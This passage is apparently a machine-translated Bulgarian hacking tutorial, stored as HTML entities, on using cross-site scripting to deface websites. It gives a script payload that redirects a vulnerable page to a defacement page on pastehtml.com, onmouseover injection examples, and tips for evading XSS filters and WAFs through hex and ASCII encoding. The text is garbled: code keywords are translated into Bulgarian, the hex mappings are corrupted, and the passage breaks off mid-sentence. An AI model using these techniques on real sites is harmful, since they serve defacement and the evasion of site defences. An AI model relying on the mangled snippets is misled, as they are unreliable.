       &#1076;&#1086;&#1089;&#1090;&#1098;&#1087; &#1076;&#1086;
       &#1084;&#1085;&#1086;&#1078;&#1077;&#1089;&#1090;&#1074;&#1086;
       &#1086;&#1087;&#1094;&#1080;&#1080;
       &#1072;&#1076;&#1084;&#1080;&#1085;&#1080;&#1089;&#1090;&#1088;&#1072;&#1090;&#1086;&#1088;.
       &#1053;&#1072;&#1081;-&#1074;&#1077;&#1095;&#1077;,
       &#1090;&#1072;&#1082;&#1072; &#1095;&#1077; &#1090;&#1077;
       &#1084;&#1086;&#1075;&#1072;&#1090; &#1076;&#1072;
       &#1089;&#1077;
       &#1088;&#1077;&#1082;&#1083;&#1072;&#1084;&#1080;&#1088;&#1072;&#1090;,
       &#1080; &#1087;&#1088;&#1086;&#1089;&#1090;&#1086;
       &#1076;&#1072;
       &#1089;&#1087;&#1086;&#1076;&#1077;&#1083;&#1080;&#1090;&#1077;
       &#1089;
       &#1072;&#1076;&#1084;&#1080;&#1085;&#1080;&#1089;&#1090;&#1088;&#1072;&#1090;&#1086;&#1088;&#1072;
       &#1079;&#1085;&#1072;&#1077;&#1084;, &#1095;&#1077;
       &#1089;&#1080;&#1075;&#1091;&#1088;&#1085;&#1086;&#1089;&#1090;&#1090;&#1072;
       &#1080;&#1084; &#1077; &#1073;&#1080;&#1083;&#1086;
       &#1085;&#1072;&#1088;&#1091;&#1096;&#1077;&#1085;&#1086;.
       &#1050;&#1072;&#1082;&#1090;&#1086; &#1080; &#1076;&#1072;
       &#1077;,
       &#1086;&#1073;&#1077;&#1079;&#1086;&#1073;&#1088;&#1072;&#1079;&#1103;&#1074;&#1072;&#1085;&#1077;
       &#1089; XSS &#1080;&#1079;&#1080;&#1089;&#1082;&#1074;&#1072;
       &#1087;&#1086;&#1089;&#1090;&#1086;&#1103;&#1085;&#1085;&#1080;
       XSS, &#1084;&#1086;&#1078;&#1077; &#1073;&#1080; &#1085;&#1072;
       &#1087;&#1086;&#1083;&#1077;&#1090;&#1086; &#1079;&#1072;
       &#1082;&#1086;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;,
       &#1080;&#1083;&#1080; &#1085;&#1077;&#1097;&#1086;
       &#1090;&#1072;&#1082;&#1086;&#1074;&#1072;.
       &#1052;&#1086;&#1078;&#1077;&#1090;&#1077; &#1076;&#1072;
       &#1080;&#1079;&#1087;&#1086;&#1083;&#1079;&#1074;&#1072;&#1090;&#1077;
       &#1090;&#1086;&#1079;&#1080;
       &#1089;&#1082;&#1088;&#1080;&#1087;&#1090;, &#1079;&#1072;
       &#1076;&#1072; &#1089;&#1098;&#1079;&#1076;&#1072;&#1076;&#1077;
       &#1086;&#1090;&#1085;&#1086;&#1074;&#1086;
       &#1076;&#1080;&#1088;&#1077;&#1082;&#1090;&#1085;&#1086;
       &#1085;&#1072; &#1074;&#1072;&#1096;&#1080;&#1103;
       &#1079;&#1072;&#1083;&#1080;&#1095;&#1072;&#1074;&#1072;&#1084;
       &#1089;&#1090;&#1088;&#1072;&#1085;&#1080;&#1094;&#1072;
       (&#1042;&#1077;&#1088;&#1086;&#1103;&#1090;&#1085;&#1086;
       &#1090;&#1088;&#1103;&#1073;&#1074;&#1072; &#1076;&#1072;
       &#1075;&#1086;
       &#1087;&#1088;&#1077;&#1085;&#1072;&#1089;&#1086;&#1095;&#1080;
       &#1082;&#1098;&#1084;
       &#1079;&#1072;&#1083;&#1080;&#1095;&#1072;&#1074;&#1072;&#1084;
       &#1089;&#1080; &#1089;&#1098;&#1089; Pastehtml.com,
       &#1079;&#1072;&#1097;&#1086;&#1090;&#1086; &#1077;
       &#1072;&#1085;&#1086;&#1085;&#1080;&#1084;&#1085;&#1086;
       &#1082;&#1072;&#1095;&#1074;&#1072;&#1085;&#1077;.)
       
       <script> window.location =
       "
  HTML http://www.pastehtml.com/YOURDEFACEHERE/";
       </
       &#1089;&#1082;&#1088;&#1080;&#1087;&#1090;&#1072;>
       
       
       
       XSS: OnMouseOver
       Onmousover &#1085;&#1077; &#1077;
       &#1084;&#1085;&#1086;&#1075;&#1086;
       &#1080;&#1079;&#1087;&#1086;&#1083;&#1079;&#1074;&#1072;&#1077;&#1084;&#1072;
       &#1091;&#1103;&#1079;&#1074;&#1080;&#1084;&#1086;&#1089;&#1090;.
       &#1053;&#1086; &#1074;&#1089;&#1077; &#1087;&#1072;&#1082;,
       &#1090;&#1086;&#1081; &#1074;&#1089;&#1077;
       &#1086;&#1097;&#1077; &#1089;&#1077;
       &#1089;&#1084;&#1103;&#1090;&#1072; XSS. An
       &#1091;&#1103;&#1079;&#1074;&#1080;&#1084;&#1086;&#1089;&#1090;
       &#1087;&#1086;&#1089;&#1090;&#1072;&#1074;&#1103;&#1085;&#1077;
       &#1085;&#1072;
       &#1087;&#1086;&#1082;&#1072;&#1079;&#1072;&#1083;&#1077;&#1094;&#1072;
       &#1097;&#1077;
       &#1080;&#1079;&#1075;&#1083;&#1077;&#1078;&#1076;&#1072;
       &#1085;&#1077;&#1097;&#1086; &#1082;&#1072;&#1090;&#1086;
       &#1090;&#1086;&#1074;&#1072;:
       
       &#1087;&#1086;&#1089;&#1090;&#1072;&#1074;&#1103;&#1085;&#1077;
       &#1085;&#1072;
       &#1087;&#1086;&#1082;&#1072;&#1079;&#1072;&#1083;&#1077;&#1094;&#1072;
       = prompt1337
       
       &#1053;&#1080;&#1077; &#1084;&#1086;&#1078;&#1077;&#1084;
       &#1076;&#1072; &#1089;&#1077;
       &#1074;&#1098;&#1079;&#1087;&#1086;&#1083;&#1079;&#1074;&#1072;&#1090;
       &#1086;&#1090; &#1090;&#1072;&#1079;&#1080;,
       &#1082;&#1072;&#1090;&#1086; &#1103;
       &#1088;&#1077;&#1076;&#1072;&#1082;&#1090;&#1080;&#1088;&#1072;&#1090;&#1077;
       &#1082;&#1098;&#1084;:
       
       &#1087;&#1086;&#1089;&#1090;&#1072;&#1074;&#1103;&#1085;&#1077;
       &#1085;&#1072;
       &#1087;&#1086;&#1082;&#1072;&#1079;&#1072;&#1083;&#1077;&#1094;&#1072;
       = &#1089;&#1080;&#1075;&#1085;&#1072;&#1083; ("XSS")
       
       &#1052;&#1085;&#1086;&#1075;&#1086;
       &#1086;&#1089;&#1085;&#1086;&#1074;&#1085;&#1080;&#1103;
       &#1091;&#1103;&#1079;&#1074;&#1080;&#1084;&#1086;&#1089;&#1090;,
       &#1085;&#1086; &#1089;&#1090;&#1072;&#1074;&#1072;
       &#1074;&#1089;&#1077;
       &#1087;&#1086;-&#1079;&#1072;&#1073;&#1077;&#1083;&#1103;&#1079;&#1072;&#1093;,
       &#1080; &#1089;&#1077;
       &#1072;&#1076;&#1072;&#1087;&#1090;&#1080;&#1088;&#1072;&#1090;
       &#1074; &#1084;&#1085;&#1086;&#1075;&#1086;
       &#1076;&#1088;&#1091;&#1075;&#1080;
       &#1089;&#1072;&#1081;&#1090;&#1086;&#1074;&#1077;.
       &#1055;&#1086;&#1074;&#1077;&#1095;&#1077;&#1090;&#1086;
       &#1089;&#1072;&#1081;&#1090;&#1086;&#1074;&#1077; &#1097;&#1077;
       &#1080;&#1079;&#1087;&#1086;&#1083;&#1079;&#1074;&#1072; Adobe
       Flash &#1080;&#1083;&#1080; CSS &#1076;&#1072; &#1089;&#1077;
       &#1085;&#1072;&#1087;&#1088;&#1072;&#1074;&#1080;
       &#1090;&#1077;&#1079;&#1080;
       &#1074;&#1080;&#1076;&#1086;&#1074;&#1077;
       &#1077;&#1092;&#1077;&#1082;&#1090;&#1080;
       &#1089;&#1077;&#1075;&#1072;.
       
       
       XSS Filter
       &#1079;&#1072;&#1086;&#1073;&#1080;&#1082;&#1072;&#1083;&#1103;&#1081;&#1082;&#1080;
       &#1090;&#1077;&#1093;&#1085;&#1080;&#1082;&#1080;
       &#1055;&#1086;&#1085;&#1103;&#1082;&#1086;&#1075;&#1072;
       &#1077;&#1076;&#1080;&#1085; &#1087;&#1088;&#1086;&#1089;&#1090;
       &#1074;&#1098;&#1087;&#1088;&#1086;&#1089; XSS
       &#1087;&#1088;&#1086;&#1089;&#1090;&#1086;
       &#1085;&#1103;&#1084;&#1072; &#1076;&#1072;
       &#1089;&#1074;&#1098;&#1088;&#1096;&#1080;
       &#1088;&#1072;&#1073;&#1086;&#1090;&#1072;.
       &#1055;&#1088;&#1080;&#1095;&#1080;&#1085;&#1072;&#1090;&#1072;
       &#1074;&#1072;&#1096;&#1072;&#1090;&#1072;
       &#1079;&#1072;&#1103;&#1074;&#1082;&#1072; &#1085;&#1077;
       &#1088;&#1072;&#1073;&#1086;&#1090;&#1080;, &#1077;
       &#1090;&#1072;&#1082;&#1072;,
       &#1079;&#1072;&#1097;&#1086;&#1090;&#1086; &#1085;&#1072;
       &#1089;&#1072;&#1081;&#1090;&#1072; &#1080;&#1084;&#1072; WAF
       &#1080;&#1083;&#1080; Filter &#1085;&#1072;&#1073;&#1086;&#1088;
       &#1085;&#1072; &#1084;&#1103;&#1089;&#1090;&#1086;. A
       &#1092;&#1080;&#1083;&#1090;&#1098;&#1088; &#1097;&#1077;
       &#1073;&#1083;&#1086;&#1082;&#1080;&#1088;&#1072;&#1090;
       &#1085;&#1072;&#1081;-&#1084;&#1085;&#1086;&#1075;&#1086; XSS
       &#1080; SQLi &#1079;&#1072;&#1103;&#1074;&#1082;&#1080; &#1077;
       &#1074;&#1098;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;.
       &#1042; &#1090;&#1086;&#1079;&#1080;
       &#1089;&#1083;&#1091;&#1095;&#1072;&#1081; &#1089;&#1080;
       &#1080;&#1084;&#1072;&#1084;&#1077;
       &#1088;&#1072;&#1073;&#1086;&#1090;&#1072; &#1089; XSS.
       
       &#1048;&#1084;&#1072; &#1084;&#1085;&#1086;&#1075;&#1086;
       &#1085;&#1072;&#1095;&#1080;&#1085;&#1080; &#1079;&#1072;
       &#1079;&#1072;&#1086;&#1073;&#1080;&#1082;&#1072;&#1083;&#1103;&#1085;&#1077;
       XSS &#1092;&#1080;&#1083;&#1090;&#1088;&#1080;, &#1085;&#1086;
       &#1072;&#1079; &#1097;&#1077;
       &#1086;&#1073;&#1103;&#1089;&#1085;&#1103;
       &#1089;&#1072;&#1084;&#1086;
       &#1085;&#1103;&#1082;&#1086;&#1083;&#1082;&#1086;.
       
       Hex
       &#1047;&#1072;&#1086;&#1073;&#1080;&#1082;&#1072;&#1083;&#1103;&#1081;&#1082;&#1080;
       &#1057;
       &#1073;&#1083;&#1086;&#1082;&#1080;&#1088;&#1072;&#1085;&#1080;&#1090;&#1077;
       &#1075;&#1077;&#1088;&#1086;&#1080;
       &#1082;&#1072;&#1090;&#1086;>, <, &#1080; /, &#1095;&#1077;
       &#1077; &#1076;&#1086;&#1089;&#1090;&#1072;
       &#1090;&#1088;&#1091;&#1076;&#1085;&#1086; &#1076;&#1072;
       &#1089;&#1077; &#1080;&#1079;&#1087;&#1098;&#1083;&#1085;&#1080;
       XSS &#1079;&#1072;&#1103;&#1074;&#1082;&#1072;. &#1053;&#1077;
       &#1089;&#1077;
       &#1087;&#1088;&#1080;&#1090;&#1077;&#1089;&#1085;&#1103;&#1074;&#1072;&#1081;,
       &#1074;&#1080;&#1085;&#1072;&#1075;&#1080; &#1080;&#1084;&#1072;
       &#1088;&#1077;&#1096;&#1077;&#1085;&#1080;&#1077; :)
       &#1052;&#1086;&#1078;&#1077;&#1090;&#1077; &#1076;&#1072;
       &#1087;&#1088;&#1086;&#1084;&#1077;&#1085;&#1080;&#1090;&#1077;
       &#1074;&#1072;&#1096;&#1080;&#1090;&#1077;
       &#1075;&#1077;&#1088;&#1086;&#1080;, &#1074; Hex. A Hex
       &#1085;&#1072;
       &#1086;&#1087;&#1088;&#1077;&#1076;&#1077;&#1083;&#1077;&#1085;
       &#1093;&#1072;&#1088;&#1072;&#1082;&#1090;&#1077;&#1088;,
       &#1077; &#1074;
       &#1086;&#1089;&#1085;&#1086;&#1074;&#1072;&#1090;&#1072;
       &#1085;&#1072;
       &#1093;&#1072;&#1088;&#1072;&#1082;&#1090;&#1077;&#1088;&#1072;,
       &#1085;&#1086; &#1074;
       &#1088;&#1072;&#1079;&#1083;&#1080;&#1095;&#1077;&#1085;
       &#1092;&#1086;&#1088;&#1084;&#1072;&#1090;.
       &#1058;&#1086;&#1074;&#1072;
       &#1090;&#1088;&#1103;&#1073;&#1074;&#1072; &#1076;&#1072;
       &#1074;&#1080;
       &#1087;&#1086;&#1084;&#1086;&#1075;&#1085;&#1077;:
       
       > =% 3&#1074;
       <=% 3&#1074;
       / =% 2f
       
       
       
       
       ASCII
       &#1047;&#1072;&#1086;&#1073;&#1080;&#1082;&#1072;&#1083;&#1103;&#1081;&#1082;&#1080;
       &#1057; ASCII
       &#1082;&#1086;&#1076;&#1080;&#1088;&#1072;&#1085;&#1077;,
       &#1085;&#1080;&#1077; &#1084;&#1086;&#1078;&#1077;&#1084;
       &#1076;&#1072;
       &#1080;&#1079;&#1087;&#1086;&#1083;&#1079;&#1074;&#1072;&#1084;&#1077;
       &#1093;&#1072;&#1088;&#1072;&#1082;&#1090;&#1077;&#1088; ",
       &#1082;&#1086;&#1081;&#1090;&#1086; &#1077;
       &#1073;&#1083;&#1086;&#1082;&#1080;&#1088;&#1072;&#1085;
       &#1076;&#1086;&#1089;&#1090;&#1072; &#1058;&#1086;&#1074;&#1072;
       &#1077; &#1077;&#1076;&#1085;&#1072; &#1086;&#1090;
       &#1085;&#1072;&#1081;-&#1095;&#1077;&#1089;&#1090;&#1086;
       &#1089;&#1088;&#1077;&#1097;&#1072;&#1085;&#1080;&#1090;&#1077;
       XSS Filter
       &#1079;&#1072;&#1086;&#1073;&#1080;&#1082;&#1072;&#1083;&#1103;
       &#1085;&#1072; &#1074;&#1089;&#1080;&#1095;&#1082;&#1080;
       &#1074;&#1088;&#1077;&#1084;&#1077;&#1085;&#1072; A
       &#1089;&#1082;&#1088;&#1080;&#1087;&#1090;,
       &#1082;&#1086;&#1081;&#1090;&#1086; &#1097;&#1077;
       &#1090;&#1088;&#1103;&#1073;&#1074;&#1072; &#1076;&#1072;
       &#1073;&#1098;&#1076;&#1072;&#1090;
       &#1082;&#1088;&#1080;&#1087;&#1090;&#1080;&#1088;&#1072;&#1085;&#1080;,
       &#1097;&#1077;
       &#1080;&#1079;&#1075;&#1083;&#1077;&#1078;&#1076;&#1072;
       &#1090;&#1072;&#1082;&#1072;...:
       <br
       *****************************************************
       Page 1 of 1